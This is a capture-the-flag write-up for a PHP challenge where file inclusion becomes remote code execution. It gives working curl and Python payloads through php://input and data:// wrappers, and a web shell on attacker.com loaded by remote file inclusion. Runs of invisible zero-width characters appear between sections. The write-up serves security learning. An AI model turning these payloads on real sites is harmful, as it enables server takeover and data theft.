RCE

Platform: web-kids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2019-11-10 | Status: Solved Techniques: lfi_to_rce, php_input_wrapper, remote_file_inclusion

Summary

LFI vulnerability that can be escalated to Remote Code Execution thanks to the enabled allow_url_include option in PHP.

RCE — Web Kids 2.0

Description

LFI vulnerability that can be escalated to Remote Code Execution thanks to the enabled allow_url_include option in PHP.

Analysis

PHP has an allow_url_include option that allows using URL wrappers in include/require functions. When this option is enabled, LFI turns into RCE via:

• php://input - executing PHP code from POST request body
• Remote File Inclusion - including a remote PHP file

Solution

Method 1: php://input wrapper

 bash read-only • copy allowed Copy
curl -X POST "https://2019-11-10-rce.ctf.su/?file=php://input" \
     -d '<?php system("cat /flag.txt"); ?>'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

or to search for the flag:

 bash read-only • copy allowed Copy
curl -X POST "https://2019-11-10-rce.ctf.su/?file=php://input" \
     -d '<?php system("find / -name \"*flag*\" 2>/dev/null"); ?>'

Method 2: Remote File Inclusion

1. Create a shell.txt file on your server:

 php read-only • copy allowed Copy
<?php system($_GET['cmd']); ?>

1. Include the remote file:

https://2019-11-10-rce.ctf.su/?file=http://attacker.com/shell.txt&cmd=cat /flag.txt

Method 3: data:// wrapper

https://2019-11-10-rce.ctf.su/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcudHh0Jyk7ID8+

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

(base64 = <?php system('cat /flag.txt'); ?>)

Python script:

 python read-only • copy allowed Copy
#!/usr/bin/env python3
import requests

url = "https://2019-11-10-rce.ctf.su/"

# php://input method
payload = "<?php system('cat /flag.txt'); ?>"
r = requests.post(url, params={"file": "php://input"}, data=payload)
print(r.text)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍